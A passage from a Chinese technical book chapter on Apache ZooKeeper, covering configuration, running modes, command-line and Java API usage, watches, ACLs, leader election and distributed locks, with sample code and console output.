file\ndataLogDir=$HADOOP_HOME/zookeeper-3.4.3/logs_3\nserver.1=localhost：2887：3887\nserver.2=localhost：2888：3888\nserver.3=localhost：2889：3889\n从上述三个代码清单可以看到，它们除了clientPort不同之外，dataDir也不同。另外，不要忘记在dataDir所对应的目录中创建myid文件来指定对应的ZooKeeper服务器实例。\n[1]\n 全体，相对于大多数集（quorum）而言。\n15.2.2 配置ZooKeeper\nZooKeeper的功能特性是通过ZooKeeper配置文件来进行控制管理（zoo.cfg配置文件）的。这样的设计其实有其自身的原因。通过前面对ZooKeeper的配置可以看出，在对ZooKeeper集群进行配置的时候，它的配置文档是完全相同的（对于集群伪分布模式来说，只有很少的部分是不同的）。这样的配置方式使得在部署ZooKeeper服务的时候非常方便。如果服务器使用不同的配置文件，必须要确保不同配置文件中的服务器列表相匹配。\n在设置ZooKeeper配置文档的时候，某些参数是可选的，但是某些参数是必需的。这些必需的参数就构成了ZooKeeper配置文档的最低配置要求。另外，如果需要对ZooKeeper进行更详细的配置，大家可以参考下面将要讲述的内容。\n1.最低配置\n下面是在最低配置要求中必须配置的参数：\n1）clientPort：监听客户端连接的端口。\n2）dataDir：存储内存中数据库快照的位置。\n注意 应该谨慎地选择日志存放的位置，使用专用的日志存储设备能够大大地提高系统的性能，如果将日志存储在比较繁忙的存储设备上，那么将会在很大程度上影响系统的性能。\n3）tickTime：基本事件单元，以毫秒为单位，用来控制心跳和超时，默认情况下最小的会话超时时间为两倍的tickTime。\n2.高级配置\n下面是高级配置要求中可选的配置参数，用户可以使用下面的参数来更好地规定ZooKeeper的行为：\n（1）dataLogDir\n这个操作让管理机器把事务日志写入“dataLogDir”所指定的目录中，而不是“dataDir”所指定的目录。这将允许使用一个专用的日志设备，并且帮助我们避免日志和快照之间的竞争。配置如下：\n#the location of the log file\ndataLogDir=/root/hadoop-0.20.2/zookeeper-3.4.3/log/data_log\n（2）maxClientCnxns\n这个操作将限制连接到ZooKeeper的客户端的数量，并且限制并发连接的数量，它通过IP来区分不同的客户端。此配置选项可以用来阻止某些类别的Dos攻击。将它设置为0或忽略而不进行设置将会取消对并发连接的限制。\n例如，此时我们将maxClientCnxns的值设置为1，如下所示：\n#set maxClientCnxns\nmaxClientCnxns=1\n启动ZooKeeper之后，首先用一个客户端连接到ZooKeeper服务器之上。之后如果有第二个客户端尝试对ZooKeeper进行连接，或者有某些隐式的对客户端的连接操作，将会触发ZooKeeper的上述配置。系统会提示相关信息，如图15-2所示。\n图 15-2 ZooKeeper maxClientCnxns异常\n（3）minSessionTimeout和maxSessionTimeout\n即最小的会话超时时间和最大的会话超时时间。在默认情况下，最小的会话超时时间为2倍的tickTme时间，最大的会话超时时间为20倍的会话超时时间。系统启动时会显示相应的信息，如图15-3所示。\n图 15-3 默认会话超时时间\n从上图中可以看出，minSessionTimeout及maxSessionTimeout的值均为-1。现在我们来设置系统的最小和最大的会话超时时间，如下所示：\n#set minSessionTimeout\nminSessionTimeout=1000\n#set maxSessionTImeout\nmaxSessionTimeout=10000\n在配置minSessionTmeout及maxSessionTimeout的值时需要注意，如果将此值设置得太小的话，会话很可能刚刚建立便由于超时而不得不退出。一般情况下，不能将此值设置得比tickTime的值还小。\n3.集群配置\n（1）initLimit\n此配置表示，允许follower（相对于leader而言的“客户端”）连接并同步到leader的初始化连接时间，它是以tickTime的倍数来表示的。当初始化连接时间超过设置倍数的tickTime时间时，则连接失败。\n（2）syncLimit\n此配置表示leader与follower之间发送消息时请求和应答的时间长度。如果follower在设置的时间内不能与leader通信，那么此follower将被丢弃。\n15.2.3 运行ZooKeeper\n1.单机模式下运行ZooKeeper\n如果大家已经按照15.2.1节中的第2点正确地配置了ZooKeeper的环境变量，那么我们现在可以直接在终端运行ZooKeeper的sh脚本了，从而启动ZooKeeper的服务。\n大家可以通过下面的命令来启动ZooKeeper服务：\nzkServer.sh start\n这个命令默认情况下执行ZooKeeper的conf文件夹下的zoo.cfg配置文件。当运行成功时大家会看到类似如下的提示界面：\nroot@ubuntu：～#zkServer.sh start\nJMX enabled by default\nUsing config：/root/hadoop-0.20.2/zookeeper-3.4.3/bin/../conf/zoo.cfg\nStarting zookeeper……\nSTARTED\n……\n2011-01-19 10：04：42，300-WARN[main：QuorumPeerMain@105]-Either no config or no\nquorum defined in config, running in standalone mode\n……\n2011-01-19 10：04：42，419-INFO[main：ZooKeeperServer@660]-tickTime set to 2000\n2011-01-19 10：04：42，419-INFO[main：ZooKeeperServer@669]-minSessionTimeout\nset to-1\n2011-01-19 10：04：42，419-INFO[main：ZooKeeperServer@678]-maxSessionTimeout\nset to-1\n2011-01-19 10：04：42，560-INFO[main：NIOServerCnxn$Factory@143]-binding to port\n0.0.0.0/0.0.0.0：2181\n2011-01-19 10：04：42，806-INFO[main：FileSnap@82]-Reading snapshot/root/\nhadoop-0.20.2/zookeeper-3.4.3/data/version-2/snapshot.200000036\n2011-01-19 10：04：42，927-INFO[main：FileSnap@82]-Reading snapshot/root/\nhadoop-0.20.2/zookeeper-3.4.3/data/version-2/snapshot.200000036\n2011-01-19 10：04：42，950-INFO[main：FileTxnSnapLog@208]-Snapshotting：\n400000058\n从上面可以看出，运行成功后，系统会列出ZooKeeper运行的相关环境配置信息。\n2.集群模式下运行ZooKeeper\n在集群模式下需要用户在每台ZooKeeper机器上运行第一部分的命令，这里不再赘述。\n3.集群伪分布模式下运行ZooKeeper\n在集群伪分布模式下，我们只有一台机器，但是要运行三个ZooKeeper服务实例。此时，如果再使用上述命令式肯定是行不通的。这时只要通过下面三条命令就能运行前面所配置的ZooKeeper服务了。如下所示：\nzkServer.sh start zoo1.cfg\nzkServer.sh start zoo2.cfg\nzkServer.sh start zoo3.cfg\n在运行完第一条命令之后，大家将会发现一些系统错误提示，如图15-4所示。\n图 15-4 集群伪分布异常提示\n产生如图15-4所示的异常信息是由于ZooKeeper服务的每个实例都拥有全局的配置信息，它们在启动的时候会随时地进行Leader选举操作（此部分内容后面将会详细讲述）。此时第一个启动的Zookeeper需要和另外两个ZooKeeper实例进行通信。但是，另外两个ZooKeeper实例还没有启动起来，因此就产生了这样的异常信息。\n我们直接将其忽略即可，待把图示中的“2号”和“3号”ZooKeeper实例启动起来之后，相应的异常信息就会自然而然的消失了。\n4.ZooKeeper四字命令\nZooKeeper支持某些特定的四字命令字母与其的交互。它们大多是查询命令，用来获取ZooKeeper服务的当前状态及相关信息。用户在客户端可以通过telnet或nc向ZooKeeper提交相应的命令。ZooKeeper常用的四字命令见表15-2。\n图15-5是ZooKeeper四字命令的一个简单用例。\n图 15-5 ZooKeeper四字命令用例\n5.ZooKeeper命令行工具\n在成功启动ZooKeeper服务之后，输入下述命令，连接到ZooKeeper服务：\nzkCli.sh-server 10.77.20.23：2181\n连接成功后，系统会输出ZooKeeper的相关环境及配置信息，并在屏幕输出“Welcome to ZooKeeper”等信息。\n输入help之后，屏幕会输出可用的ZooKeeper命令，如图15-6所示：\n图 15-6 ZooKeeper命令\n15.3 ZooKeeper的简单操作\n 15.3.1 使用ZooKeeper命令的简单操作步骤\n1）使用ls命令查看当前ZooKeeper中所包含的内容：\n[zk：10.77.20.23：2181（CONNECTED）1]ls/\n[zookeeper]\n2）创建一个新的Znode，使用create/zk myData这个命令创建了一个新的Znode节点“zk”，以及与它关联的字符串：\n[zk：10.77.20.23：2181（CONNECTED）2]create/zk myData\nCreated/zk\n3）再次使用ls命令来查看现在ZooKeeper中所包含的内容：\n[zk：10.77.20.23：2181（CONNECTED）3]ls/\n[zk, zookeeper]\n此时看到，zk节点已经被创建。\n4）下面我们运行get命令来确认第二步中所创建的Znode是否包含我们创建的字符串：\n[zk：10.77.20.23：2181（CONNECTED）4]get/zk\nmyData\nZxid=0x40000000c\ntime=Tue Jan 18 18：48：39 CST 2011\nZxid=0x40000000c\nmtime=Tue Jan 18 18：48：39 CST 2011\npZxid=0x40000000c\ncversion=0\ndataVersion=0\naclVersion=0\nephemeralOwner=0x0\ndataLength=6\nnumChildren=0\n5）接下来通过set命令来对zk所关联的字符串进行设置：\n[zk：10.77.20.23：2181（CONNECTED）5]set/zk shenlan211314\ncZxid=0x40000000c\nctime=Tue Jan 18 18：48：39 CST 2011\nmZxid=0x40000000d\nmtime=Tue Jan 18 18：52：11 CST 2011\npZxid=0x40000000c\ncversion=0\ndataVersion=1\naclVersion=0\nephemeralOwner=0x0\ndataLength=13\nnumChildren=0\n6）下面我们将刚才创建的Znode删除：\n[zk：10.77.20.23：2181（CONNECTED）6]delete/zk\n7）最后再次使用ls命令查看ZooKeeper所包含的内容：\n[zk：10.77.20.23：2181（CONNECTED）7]ls/\n[zookeeper]\n经过验证，zk节点已经被删除。\n15.3.2 ZooKeeper API的简单使用\n1.ZooKeeper API简介\nZooKeeper API共包含五个包，分别为：org.apache.zookeeper、org.apache.zookeeper.data、org.apache.zookeeper.server、org.apache.zookeeper.server.quorum和org.apache.zookeeper.server.upgrade。其中org.apache.zookeeper包含ZooKeeper类，它是我们编程时最常用的类文件。\n这个类是ZooKeeper客户端库的主要类文件。如果要使用ZooKeeper服务，应用程序首先必须创建一个Zookeeper实例，这时就需要使用此类。一旦客户端和ZooKeeper服务建立起了连接，ZooKeeper系统将会给此连接会话分配一个ID值，并且客户端将会周期性地向服务器发送心跳来维持会话的连接。只要连接有效，客户端就可以调用ZooKeeper API来做相应的处理。\nZooKeeper类提供了表15-3所示的几类主要方法。\n2.ZooKeeper API的使用\n这里通过一个例子来简单介绍如何使用ZooKeeper API编写自己的应用程序，见代码清单15-6。\n代码清单15-6 ZooKeeper API的使用\npackage cn.edu.ruc.cloudcomputing.book.chapter14；\n1 import java.io.IOException；\n2\n3 import org.apache.zookeeper.CreateMode；\n4 import org.apache.zookeeper.KeeperException；\n5 import org.apache.zookeeper.Watcher；\n6 import org.apache.zookeeper.ZooDefs.Ids；\n7 import org.apache.zookeeper.ZooKeeper；\n8\n9 public class demo{\n10//会话超时时间，设置为与系统默认时间一致\n11 private static final int SESSION_TIMEOUT=30000；\n12\n13//创建ZooKeeper实例\n14 ZooKeeper zk；\n15\n16//创建Watcher实例\n17 Watcher wh=new Watcher（）{\n18 public void process（org.apache.zookeeper.WatchedEvent event）\n19{\n20 System.out.println（event.toString（））；\n21}\n22}；\n23\n24//初始化ZooKeeper实例\n25 private void createZKInstance（）throws IOException\n26{\n27 zk=new ZooKeeper（\"localhost：2181\"，demo.SESSION_TIMEOUT, this.wh）；\n28\n29}\n30\n31 private void ZKOperations（）throws IOException, InterruptedException, Keepe\nrException\n32{\n33 System.out.println（\"\\n1.创建ZooKeeper节点（znode：zoo2，数据：myData2，\n权限：OPEN_ACL_UNSAFE，节点类型：Persistent\"）；\n34 zk.create（\"/zoo2\"，\"myData2\".getBytes（），Ids.OPEN_ACL_UNSAFE，\nCreateMode.PERSISTENT）；\n35\n36 System.out.println（\"\\n2.查看是否创建成功：\"）；\n37 System.out.println（new String（zk.getData（\"/zoo2\"，false, null）））；\n38\n39 System.out.println（\"\\n3.修改节点数据\"）；\n40 zk.setData（\"/zoo2\"，\"shenlan211314\".getBytes（），-1）；\n41\n42 System.out.println（\"\\n4.查看是否修改成功：\"）；\n43 System.out.println（new String（zk.getData（\"/zoo2\"，false, null）））；\n44\n45 System.out.println（\"\\n5.删除节点\"）；\n46 zk.delete（\"/zoo2\"，-1）；\n47\n48 System.out.println（\"\\n6.查看节点是否被删除：\"）；\n49 System.out.println（\"节点状态：[\"+zk.exists（\"/zoo2\"，false）+\"]\"）；\n50}\n51\n52 private void ZKClose（）throws InterruptedException\n53{\n54 zk.close（）；\n55}\n56\n57 public static void main（String[]args）throws IOException, InterruptedExce\nption, KeeperException{\n58 demo dm=new demo（）；\n59 dm.createZKInstance（）；\n60 dm.ZKOperations（）；\n61 dm.ZKClose（）；\n62}\n63}\n此类包含两个主要的ZooKeeper函数，分别为createZKInstance（）和ZKOperations（）。其中createZKInstance（）函数负责对ZooKeeper实例zk进行初始化。ZooKeeper类有两个构造函数，这里使用“ZooKeeper（String connectString, int sessionTimeout, Watcher watcher）”对其进行初始化。因此，我们需要提供初始化所需的连接字符串信息、会话超时时间，以及一个watcher实例。第17行到第23行的代码是程序所构造的一个watcher实例，它能够输出所发生的事件。\nZKOperations（）函数是我们所定义的对节点的一系列操作。它包括：创建ZooKeeper节点（第33行到第34行代码）、查看节点（第36行到第37行代码）、修改节点数据（第39行到第40行代码）、查看修改后节点数据（第42行到第43行代码）、删除节点（第45行到第46行代码）、查看节点是否存在（第48行到第49行代码）。另外，需要注意的是，在创建节点的时候，需要提供节点的名称、数据、权限，以及节点类型。此外，使用exists函数时，如果节点不存在则返回一个null值。关于ZooKeeper API的更多详细信息，大家可以查看ZooKeeper的API文档，如下所示：\nhttp：//hadoop.apache.org/zookeeper/docs/r3.4.3/api/index.html\n代码清单15-6中程序运行的结果如下所示。\n1创建ZooKeeper节点（znode：zoo2，数据：myData2，权限：OPEN_ACL_UNSAFE，节点类型：\nPersistent\n11/01/18 05：07：16 INFO zookeeper.ClientCnxn：Socket connection established to\nlocalhost/127.0.0.1：2181，initiating session\n11/01/18 05：07：16 INFO zookeeper.ClientCnxn：Session establishment complete on\nserver localhost/127.0.0.1：2181，sessionid=0x12d97fd5d39000a, negotiated\ntimeout=30000\nWatchedEvent state：SyncConnected type：None path：null\n2查看是否创建成功：\nmyData2\n3修改节点数据\n4查看是否修改成功：\nshenlan211314\n5删除节点\n6查看节点是否被删除：\n节点状态：[null]\n15.4 ZooKeeper的特性\n 15.4.1 ZooKeeper的数据模型\nZooKeeper拥有一个层次的命名空间，这和分布式的文件系统非常相似。唯一不同的地方是命名空间中的每个节点可以有和它自身或它的子节点相关联的数据。这就好像是一个文件系统，只不过文件系统中的文件还可以具有目录的功能。另外，指向节点的路径必须使用规范的绝对路径来表示，并且以斜线“/”来分隔。需要注意的是，在ZooKeeper中不允许使用相对路径。\n1.Znode\nZooKeeper目录树中的每一个节点对应着一个Znode。每个Znode维护着一个属性结构，它包含数据的版本号（dataVersion）、时间戳（ctime、mtime）等状态信息。ZooKeeper正是使用节点的这些特性来实现它的某些特定功能的。每当Znode的数据改变时，它相应的版本号将会增加。每当客户端检索数据时，它将同时检索数据的版本号。并且如果一个客户端执行了某个节点的更新或删除操作，它也必须提供要被操作的数据的版本号。如果所提供的数据版本号与实际的不匹配，那么这个操作将会失败。\nZnode是客户端要访问的ZooKeeper的主要实体，它包含以下几个主要特征：\n（1）Watches\n客户端可以在节点上设置watch（我们称之为监视器）。当节点的状态发生改变时（数据的增、删、改等操作）将会触发watch对应的操作。当watch被触发时，Zookeeper将会向客户端发送且仅发送一个通知，因为watch只能被触发一次。\n（2）数据访问\nZooKeeper中的每个节点上存储的数据需要被原子性的操作。也就是说，读操作将获取与节点相关的所有数据，写操作也将替换掉节点的所有数据。另外，每一个节点都拥有自己的ACL（访问控制列表），这个列表规定了用户的权限，即限定了特定用户对目标节点可以执行的操作。\n（3）临时节点\nZooKeeper中的节点有两种，分别为临时节点和永久节点。节点的类型在创建时即被确定，并且不能改变。ZooKeeper临时节点的生命周期依赖于创建它们的会话。一旦会话结束，临时节点将被自动删除，当然也可以手动删除。另外，需要注意的是，ZooKeeper的临时节点不允许拥有子节点。相反，永久节点的生命周期不依赖于会话，并且只有在客户端显示执行删除操作的时候，它们才被删除。\n（4）顺序节点（唯一性保证）\n当创建Znode的时候，用户可以请求在ZooKeeper的路径结尾添加一个递增的计数。这个计数对于此节点的父节点来说是唯一的，它的格式为“%010d”（10位数字，没有数值的数据位用0填充，例如0000000001）。当计数值大于232\n -1时，计数器将会溢出。\n2.ZooKeeper中的时间\nZooKeeper中有多种记录时间的形式，其中包括如下几个主要属性：\n（1）Zxid\n致使ZooKeeper节点状态改变的每一个操作都将使节点接收到一个zxid格式的时间戳，并且这个时间戳是全局有序的。也就是说，每一个对节点的改变都将产生一个唯一的zxid。如果zxid1的值小于zxid2的值，那么zxid1所对应的事件发生在zxid2所对应的事件之前。实际上，ZooKeeper的每个节点维护着三个zxid值，分别为：cZxid、mZxid和pZxid。cZxid是节点的创建时间所对应的Zxid格式时间戳，mZxid是节点的修改时间所对应的Zxid格式时间戳。\n（2）版本号\n对节点的每一个操作都将致使这个节点的版本号增加。每个节点维护着三个版本号，它们分别为：version（节点数据版本号）、cversion（子节点版本号）、avevsion（节点所拥有的ACL的版本号）。\n3.节点属性结构\n通过上面的介绍，我们可以了解到，一个节点自身拥有表示其状态的许多重要属性，表15-4给出了详细的介绍：\n15.4.2 ZooKeeper会话及状态\nZooKeeper客户端通过句柄为ZooKeeper服务建立一个会话。这个会话一旦被创建，句柄将以CONNECTING状态开始启动。客户端将尝试连接到其中一个ZooKeeper服务器，如果连接成功，它的状态将变为CONNECTED。在一般情况下只有上述这两种状态。如果一个可恢复的错误发生，比如会话终结或认证失败，或者应用程序明确地关闭了句柄，句柄将会转入关闭状态。\nZooKeeper的状态转换如图15-7所示：\n图 15-7 ZooKeeper状态转换图\n为了创建一个客户端会话，应用程序必须提供一个由主机（IP或主机名）和端口所组成的连接字符串，这个字符串标识了要连接的目标主机及主机端口。ZooKeeper客户端将选择服务器列表中的任意一个服务器并尝试连接。如果连接失败，那么客户端将自动尝试连接服务列表中的其他服务器，直到连接成功。\n15.4.3 ZooKeeper watches\nZooKeeper可以为所有的读操作设置watch，这些读操作包括：exists（）、getChildren（）以及getData（）。watch事件是一次性的触发器，当watch的对象状态发生改变时，将会触发此对象上所设置的wath对应的事件。\n在使用watch时需要注意，watch是一次性触发器，并且只有在数据发生改变时，watch事件才会被发送给客户端。例如：如果一个客户端进行了getData（“/znode1”，true）操作，并且之后“/znode1”的数据被改变或删除了，那么客户端将获得一个关于“/znode1”的事件。如果/znode1再次改变，那么将不再有watch事件发送给客户端，除非客户端为另一个读操作重新设置了一个watch。\nwatch事件将被异步地发送给客户端，并且ZooKeeper为watch机制提供了有序的一致性保证。理论上，客户端接收watch事件的时间要快于其看到watch对象状态变化的时间。\nZooKeeper所管理的watch可以分为两类：一类是数据watch（data watches）；一类是子watch（child watches）。getData（）和exists（）负责设置数据watch, getChildren（）负责设置孩子watch。我们可以通过操作返回的数据来设置不同的watch。getData（）和exists（）返回关于节点数据的信息，getChildren（）返回孩子列表。因此，setData（）将触发设置了数据watch的对应事件。一个成功的create（）操作将触发Znode的数据watch，以及孩子watch。一个成功的delete（）操作将触发数据watch和孩子watch，因为Znode被删除的时候，它的child watch也将被删除。\nwatch由客户端所连接的ZooKeeper服务器在本地维护，因此watch可以非常容易地设置、管理和分派。当客户端连接到一个新的服务器上时，任何的会话事件都将可能触发watch。另外，当从服务器断开连接的时候，watch将不会被接收。但是，当一个客户端重新建立连接的时候，任何先前注册过的watch都会被重新注册。\n15.4.4 ZooKeeper ACL\nZooKeeper使用ACL来对Znode进行访问控制。ACL的实现和UNIX文件访问许可非常相似：它使用许可位来对一个节点的不同操作进行允许或禁止的权限控制。但是，和标准的UNIX许可不同的是，ZooKeeper节点有user（文件的拥有者）、group和world三种标准模式，并且没有节点所有者的概念。\n需要注意的是，一个ACL和一个ZooKeeper节点相对应。并且，父节点的ACL与子节点的ACL是相互独立的。也就是说，ACL不能被子节点所继承，父节点所拥有的权限与子节点所拥有的权限没有任何关系。\n表15-5为访问控制列表所规定的权限。\nZooKeeper ACL的使用依赖于验证，它支持如下几种验证模式：\nworld：代表某一特定的用户（客户端）。\nauth：代表任何已经通过验证的用户（客户端）。\ndigest：通过用户名密码进行验证。\nip：通过客户端IP地址进行验证。\n当会话建立的时候，客户端将会进行自我验证。\n另外，ZooKeeper Java API支持三种标准用户权限，它们分别为：\nZOO_OPEN_ACL_UNSAFE；\nZOO_READ_ACL_UNSAFE；\nZOO_CREATOR_ALL_ACL；\nZOO_OPEN_ACL_UNSAFE对于所有的ACL来说都是完全开放的：任何应用程序可以在节点上执行任何操作，比如创建、列出并删除子节点。ZOO_READ_ACL_UNSAFE对于任意的应用程序来说，仅仅具有读权限。ZOO_CREATOR_ALL_ACL授予节点创建者所有的权限。需要注意的是，在设置此权限之前，创建者必须已经通过了服务器的认证。\n15.4.5 ZooKeeper的一致性保证\nZooKeeper是一种高性能、可扩展的服务。ZooKeeper的读写速度非常快，并且读的速度要比写更快。另外，在进行读操作的时候，ZooKeeper依然能够为旧的数据提供服务。这些都是由ZooKeeper所提供的一致性保证的，它具有如下特点：\n（1）顺序一致性\n客户端的更新顺序与它们被发送的顺序相一致。\n（2）原子性\n更新操作要么成功要么失败，没有第三种结果。\n（3）单系统镜像\n无论客户端连接到哪一个服务器，他将看到相同的ZooKeeper视图。\n（4）可靠性\n一旦一个更新操作被应用，那么在客户端再次更新它之前，其值将不会改变。这会保证产生下面两种结果：\n如果客户端成功地获得了正确的返回代码，那么说明更新已经成功。如果不能够获得返回代码（由于通信错误、超时等原因），那么客户端将不知道更新操作是否生效。\n当故障恢复的时候，任何客户端能够看到的执行成功的更新操作将不会回滚。\n（5）实时性\n在特定的一段时间内，客户端看到的系统需要被保证是实时的（在十几秒的时间里）。在此时间段内，任何系统的改变将被客户端看到，或者被客户端侦测到。\n这些一致性得到保证后，ZooKeeper更高级功能的设计与实现将会变得非常容易，例如：leader选举、队列，以及可撤销锁等机制的实现。\n15.5 使用ZooKeeper进行Leader选举\nZooKeeper需要在所有的服务（可以理解为服务器）中选举出一个Leader，然后让这个Leader来负责管理集群。此时，集群中的其他服务器则成为了此Leader的Follower。并且，当Leader出现故障的时候，ZooKeeper要能够快速地在Follower中选举出下一个Leader。这就是ZooKeeper的Leader机制，下面我们将简单介绍如何使用ZooKeeper实现Leader选举（Leader Election）。\n此操作实现的核心思想是：首先创建一个EPHEMERAL目录节点，例如“/election”。然后每一个ZooKeeper服务器在此目录下创建一个SEQUENCE|EPHEMERAL类型的节点，例如“/election/n_”。在SEQUENCE标志下，ZooKeeper将自动地为每一个ZooKeeper服务器分配一个比前面所分配的序号要大的序号。此时创建节点的ZooKeeper服务器中拥有最小编号的服务器将成为Leader。\n在实际的操作中，还需要保证：当Leader服务器发生故障的时候，系统能够快速地选出下一个ZooKeeper服务器作为Leader。一个简单的解决方案是，让所有的Follower监视leader所对应的节点。当Leader发生故障时，Leader所对应的临时节点会被自动删除，此操作将会触发所有监视Leader的服务器的watch。这样这些服务器就会收到Leader故障的消息，进而进行下一次的Leader选举操作。但是，这种操作将会导致“从众效应”的发生，尤其是当集群中服务器众多并且带宽延迟比较大的时候更为明显。\n在ZooKeeper中，为了避免从众效应的发生，它是这样来实现的：每一个Follower为Follower集群中对应着比自己节点序号小的节点中x序号最大的节点设置一个watch。只有当Follower所设置的watch被触发时，它才进行Leader选举操作，一般情况下它将成为集群中的下一个Leader。很明显，此Leader选举操作的速度是很快的。因为每一次Leader选举几乎只涉及单个Follower的操作。\n15.6 ZooKeeper锁服务\n在ZooKeeper中，完全分布的锁是全局同步的。也就是说，在同一时刻，不会有两个不同的客户端认为他们持有了相同的锁。这一节我们将向大家介绍在ZooKeeper中的各种锁机制是如何实现的。\n 15.6.1 ZooKeeper中的锁机制\nZooKeeper将按照如下方式实现加锁的操作：\n1）ZooKeeper调用create（）方法来创建一个路径格式为“_locknode_/lock-”的节点，此节点类型为sequence（连续）和ephemeral（临时）。也就是说，创建的节点为临时节点，并且所有的节点连续编号，即为“lock-i”的格式。\n2）在创建的锁节点上调用getChildren（）方法，以获取锁目录下的最小编号节点，并且不设置watch。\n3）步骤2中获取的节点恰好是步骤1中客户端创建的节点，那么此客户端会获得该种类型的锁，然后退出操作。\n4）客户端在锁目录上调用exists（）方法，并且设置watch来监视锁目录下序号相对自己次小的连续临时节点的状态。\n5）如果监视节点状态发生变化，则跳转到步骤2，继续进行后续的操作，直到退出锁竞争。\nZooKeeper的解锁操作非常简单，客户端只需要将加锁操作步骤1中创建的临时节点删除即可。\n注意 1）一个客户端解锁之后，将只可能有一个客户端获得锁，因此每一个临时的连续节点对应着一个客户端，并且节点之间没有重叠；2）在ZooKeeper的锁机制中没有轮询和超时。ZooKeeper中锁机制流程图如图15-8所示。\n图 15-8 ZooKeeper锁机制流程图\n15.6.2 ZooKeeper提供的一个写锁的实现\n在ZooKeeper安装目录的recipes目录下有一个ZooKeeper分布式写锁的实现方式（ZooKeeper_Dir/src/recpies/lock目录）。\n其中，加锁的实现如代码清单15-7所示。\n代码清单15-7 lock\n1 public synchronized boolean lock（）throws KeeperException, InterruptedException{\n2 if（isClosed（））{\n3 return false；\n4}\n5 ensurePathExists（dir）；\n6\n7 return（Boolean）retryOperation（zop）；\n8}\n在加锁操作的实现中，首先调用isclosed（）方法来检查锁的状态，如果没有获得锁，则调用ensurePathExists（）方法来设置一个监视器。这正如我们在15.6.1节所描述的步骤。\n解锁的实现如代码清单15-8所示。\n代码清单15-8 unlock\n1 public synchronized void unlock（）throws RuntimeException{\n2\n3 if（！isClosed（）＆＆id！=null）{\n4 try{\n5\n6 ZooKeeperOperation zopdel=new ZooKeeperOperation（）{\n7 public boolean execute（）throws KeeperException, InterruptedException\n8{\n9 zookeeper.delete（id，-1）；\n10 return Boolean.TRUE；\n11}\n12}；\n13 zopdel.execute（）；\n14}catch（InterruptedException e）{\n15 LOG.warn（\"Caught：\"+e, e）；\n16//set that we have been interrupted.\n17 Thread.currentThread（）.interrupt（）；\n18}catch（KeeperException.NoNodeException e）{\n19\n20}catch（KeeperException e）{\n21 LOG.warn（\"Caught：\"+e, e）；\n22 throw（RuntimeException）new RuntimeException（e.getMessage（））.\n23 initCause（e）；\n24}\n25 finally{\n26 if（callback！=null）{\n27 callback.lockReleased（）；\n28}\n29 id=null；\n30}\n31}\n32}\n解锁的操作主要是通过代码中的第6～12行来实现的，只需要删除锁对应的临时节点即可。\n注意 当此操作出现故障的时候，我们不需要重复这个解锁操作。另外，在不能重新连接的时候，我们也不需要做任何处理，因为ZooKeeper会自动地删除临时节点，并且在服务器出现故障的时候，此临时节点也会随着服务的结束而自动删除。\n15.7 使用ZooKeeper创建应用程序\n本节将首先介绍如何使用Eclipse开发Zookeeper应用程序，然后通过一个实例让大家熟悉Zookeeper的简单开发。\n 15.7.1 使用Eclipse开发ZooKeeper应用程序\nZooKeeper客户端支持两种语言的编程，包括Java和C，我们以Java为例介绍如何进行程序的开发。为了方便编写程序，一般习惯于使用IDE。对于Java程序来说，首选莫过于Eclipse，下面我们介绍如何使用Eclipse进行ZooKeeper程序的开发。\n首先在Eclipse创建一个工程，我们命名为ZooKeeper，如图15-9所示。\n图 15-9 创建ZooKeeper应用程序\n在创建完工程之后，我们还不能使用ZooKeeper的类库，因此需要导入ZooKeeper的jar包。具体操作为：选中工程→右键，选择Properties→Java Build Path→Libraries→Add External JARs→定位到ZooKeeper-3.4.3安装目录，选择根目录下的zookeeper-3.4.3.jar文件→OK。如图15-10所示。\n图 15-10 添加ZooKeeper的Jar包\n添加完ZooKeeper的Jar包之后，可以创建ZooKeeper应用程序并引用ZooKeeper提供的类库了。该Jar文件所包含的Package如下图15-11所示。\n图 15-11 ZooKeeper的Package\n在所有的包中，org.apache.zookeeper和org.apache.zookeeper.data是最基本的，一般客户端应用程序的编写都要用到这两个包所提供的类，其他包相对使用的频率要小。在org.apache.zookeeper中提供了ZooKeeper客户端连接服务器的实例。一个最简单的ZooKeeper实例初始化函数包括三个参数：public ZooKeeper（String connectString, int sessionTimeout, Watcher watcher）。这里，connectString为客户端连接服务器字符串，格式为“IP/Hostname：Port”，例如“zoo1：2181”，sessionTimeout设置的是会话超时时间，watcher设置的是监视器，该监视器通过org.apache.zookeeper.Watcher进行初始化。\n一个简单的应用程序如代码清单15-6所示，下面给出一个综合的例子供大家参考。\n15.7.2 应用程序实例\n此节将通过一组简单的ZooKeeper应用程序实例来向大家展示ZooKeeper的某些功能。这一节所实现的主要功能包括：创建组、加入组、列出组成员，以及删除组。\n为了避免某些重复性的操作，我们创建了一个本应用程序的基类：ZooKeeperInstance。它主要实现了Zookeeper对象的实例化操作。详见代码清单15-9。\n代码清单15-9 ZooKeeperInstance\n1 package cn.edu.ruc.cloudcomputing.book.chapter15；\n2\n3 import java.io.IOException；\n4\n5 import org.apache.zookeeper.WatchedEvent；\n6 import org.apache.zookeeper.Watcher；\n7 import org.apache.zookeeper.ZooKeeper；\n8\n9 public class ZooKeeperInstance{\n10//会话超时时间，设置为与系统默认时间一致\n11 public static final int SESSION_TIMEOUT=30000；\n12\n13//创建ZooKeeper实例\n14 ZooKeeper zk；\n15\n16//创建Watcher实例\n17 Watcher wh=new Watcher（）{\n18 public void process（WatchedEvent event）{\n19 System.out.println（event.toString（））；\n20}\n21}；\n22\n23//初始化Zookeeper实例\n24 public void createZKInstance（）throws IOException{\n25 zk=new ZooKeeper（\"localhost：2181\"，ZooKeeperInstance.SESSION_\nTIMEOUT, this.wh）；\n26}\n27\n28//关闭ZK实例\n29 public void ZKclose（）throws InterruptedException{\n30 zk.close（）；\n31}\n32}\n在ZooKeeper中的组机制也同样是通过ZooKeeper节点来实现的。一个Znode为一个目录，即代表着一个组。这里我们创建了一个名为“/ZKGroup”的组。详见代码清单15-10。\n代码清单15-10 CreateGroup\n1 package cn.edu.ruc.cloudcomputing.book.chapter15；\n2\n3 import java.io.IOException；\n4\n5 import org.apache.zookeeper.CreateMode；\n6 import org.apache.zookeeper.KeeperException；\n7 import org.apache.zookeeper.ZooDefs.Ids；\n8\n9 public class CreateGroup extends ZooKeeperInstance{\n10\n11//创建组\n12//参数：groupPath\n13 public void createPNode（String groupPath）throws KeeperException，\nInterruptedException{\n14//创建组\n15 String cGroupPath=zk.create（groupPath，\"group\".getBytes（），Ids.OPEN_\nACL_UNSAFE, CreateMode.PERSISTENT）；\n16//输出组路径\n17 System.out.println（\"创建的组路径为：\"+cGroupPath）；\n18}\n19\n20 public static void main（String[]args）throws IOException, 